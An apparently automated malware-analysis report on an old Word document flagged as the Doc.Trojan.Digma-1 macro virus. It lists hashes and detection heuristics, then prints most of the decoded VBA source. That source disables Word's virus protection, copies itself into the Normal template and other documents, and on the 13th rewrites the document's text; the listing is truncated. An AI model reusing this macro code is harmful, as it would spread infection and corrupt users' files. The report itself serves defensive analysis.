Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b9690cd166f25e75…

MALICIOUS

Office (OLE)

42.5 KB Created: 2001-01-02 13:09:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 39b7626725385400711da4ad3c10097a SHA-1: d6579b386dc6eb363e9db453aa1fc2789ba332c5 SHA-256: b9690cd166f25e75a9d1ef895014e8cda7451ae44b98916827b022e0ccfd08ff
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Trojan.Digma-1. It contains VBA macros, specifically an Auto_Close macro, which is a common technique for executing malicious code upon document closure. The macro's intent appears to be the execution of further malicious payloads, although the exact mechanism is obfuscated.

Heuristics 4

  • ClamAV: Doc.Trojan.Digma-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Digma-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13274 bytes
SHA-256: 1b84ea47b741e0edb94d3d6be1d7a6a68992448ee9b817c8fc6e3f1c88be9919
Detection
ClamAV: Doc.Trojan.Digma-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"

Sub autoclose()
' Virus done by DigitalMadman
   Dim ditdgfgdfhsdf As Boolean
   ditdgfgdfhsdf = False
        Options.VirusProtection = ditdgfgdfhsdf
    Application.DisplayRecentFiles = True
    RecentFiles.Maximum = 4
Dim sad, kio, yji, hjy, grt As String
Dim jlpgfjhfvbyuyurvbyrtubtuyrur5iyhtfrff As String
grt = Options.DefaultFilePath(wdCurrentFolderPath)
hjy = Options.DefaultFilePath(wdUserTemplatesPath)
If grt = hjy Then
grt = Options.DefaultFilePath(wdDocumentsPath)
End If
yji = "NewMacros"
Dim jlp, jpd, lop, sadfas As String
jpd = "\" & NormalTemplate.Name
jlp = hjy + jpd
sadfas = NormalTemplate.FullName
sad = ActiveDocument.FullName
kio = Options.DefaultFilePath(wdUserTemplatesPath)
kio = sad
jlpgfjhfvbyuyurvbyrtubtuyrur5iyhtfrff = sad
Dim fd, abc As String
Dim Notmallitems, Activitems As Byte
Dim ActiveDocitemname As String
Dim safdfasdfasdgsadgh As String
Activitems = ActiveDocument.VBProject.VBComponents.Count
Notmallitems = NormalTemplate.VBProject.VBComponents.Count
abc = Application.MacroContainer
Dim okl As Boolean
If abc = NormalTemplate.Name Then
okl = True
End If
If okl = True Then
Dim tuy As Boolean
If ActiveDocument.Name = NormalTemplate.Name Then
tuy = True
End If
If tuy = False Then
If Activitems > 1 Then
    Application.OrganizerDelete Source:=kio, Name _
        :=yji, Object:=wdOrganizerObjectProjectItems
        End If
    sad = jlpgfjhfvbyuyurvbyrtubtuyrur5iyhtfrff
   safdfasdfasdgsadgh = sad
    Application.OrganizerCopy Source:=jlp, _
    Destination:= _
       safdfasdfasdgsadgh, Name:=yji, Object _
        :=wdOrganizerObjectProjectItems
     End If
     End If
If Application.MacroContainer <> NormalTemplate.Name Then
If okl = False Then
If Notmallitems > 1 Then
    Application.OrganizerDelete Source:=jlp, _
        Name:=yji, Object:=wdOrganizerObjectProjectItems
        End If
    Application.OrganizerCopy Source:=kio, Destination:= _
        sadfas, Name:=yji, Object:= _
        wdOrganizerObjectProjectItems
        If ActiveDocument.Saved = False Then
        ActiveDocument.Save
        
        End If
        End If
End If
End Sub
Sub autoexit()
Dim hyukjnbfhgdr As String
hyukjnbfhgdr = DateTime.Date
hyukjnbfhgdr = Left(hyukjnbfhgdr, 5)
hyukjnbfhgdr = Right(hyukjnbfhgdr, 2)
If ActiveDocument.Name <> NormalTemplate.Name And ActiveDocument.Saved = True Then
If hyukjnbfhgdr = "13" Then
    Selection.Find.ClearFormatting
    Selection.Find.Replacement.ClearFormatting
    With Selection.Find
        .Text = "a"
        .Replacement.Text = "FUCK"
        .Forward = True
        .Wrap = wdFindContinue
        .Format = False
        .MatchCase = False
        .MatchWholeWord = False
        .MatchWildcards = False
        .MatchSoundsLike = False
        .MatchAllWordForms = False
    End With
    Selection.Find.Execute Replace:=wdReplaceAll
    Selection.Find.ClearFormatting
    Selection.Find.Replacement.ClearFormatting
    With Selection.Find
        .Text = "o"
        .Replacement.Text = "FUCK"
        .Forward = True
        .Wrap = wdFindContinue
        .Format = False
        .MatchCase = False
        .MatchWholeWord = False
        .MatchWildcards = False
        .MatchSoundsLike = False
        .MatchAllWordForms = False
    End With
    Selection.Find.Execute Replace:=wdReplaceAll
    Selection.GoTo What:=wdGoToLine, Which:=wdGoToFirst, Count:=1, Name:=""
    Selection.Find.ClearFormatting
    With Selection.Find
        .Text = ""
        .Replacement.Text = ""
        .Forward = True
        .Wrap = wdFindContinue
        .Format = False
        .MatchCase = False
        .MatchWholeWord = False
        .MatchWildcards = False
        .MatchSoundsLike = False
     
... (truncated)

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